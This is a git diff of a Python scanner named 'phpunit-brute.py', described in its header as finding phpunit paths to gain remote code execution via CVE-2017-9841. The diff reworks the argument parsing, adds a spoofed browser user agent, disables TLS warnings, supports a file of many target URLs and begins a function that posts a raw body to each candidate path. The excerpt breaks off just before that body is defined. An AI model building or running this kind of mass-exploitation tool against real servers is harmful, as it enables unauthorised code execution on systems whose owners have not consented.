diff --git a/phpunit-brute.py b/phpunit-brute.py index f3768fa..2ea540b 100644 --- a/phpunit-brute.py +++ b/phpunit-brute.py @@ -1,106 +1,122 @@ #!/usr/bin/env python # -# +# # # phpunit-brute.py - Finding paths to phpunit to gain RCE. (CVE-2017-9841) # # By @RandomRobbieBF -# # - +# import requests import sys import argparse import os.path from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) -session = requests.Session() - -parser = argparse.ArgumentParser() -parser.add_argument("-u", "--url", required=False ,default="http://localhost",help="URL to test") -parser.add_argument("-f", "--file", default="",required=False, help="File of urls") -parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging") - -args = parser.parse_args() -url = args.url -urls = args.file +USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0" -if args.proxy: - proxy = args.proxy -else: - proxy = "" - - - +parser = argparse.ArgumentParser() +parser.add_argument( + "-u", "--url", + type=str, + required=False, + default="http://localhost", + help="URL to test" + ) +parser.add_argument( + "-f", "--file", + type=str, + required=False, + help="File of urls" + ) +parser.add_argument( + "-p", "--proxy", + type=str, + default="", + required=False, + help="Proxy for debugging" + ) -http_proxy = proxy -proxyDict = { - "http" : http_proxy, - "https" : http_proxy, - "ftp" : http_proxy - } - - +def test_url(url, urlpath): + newurl = url + urlpath + rawBody = "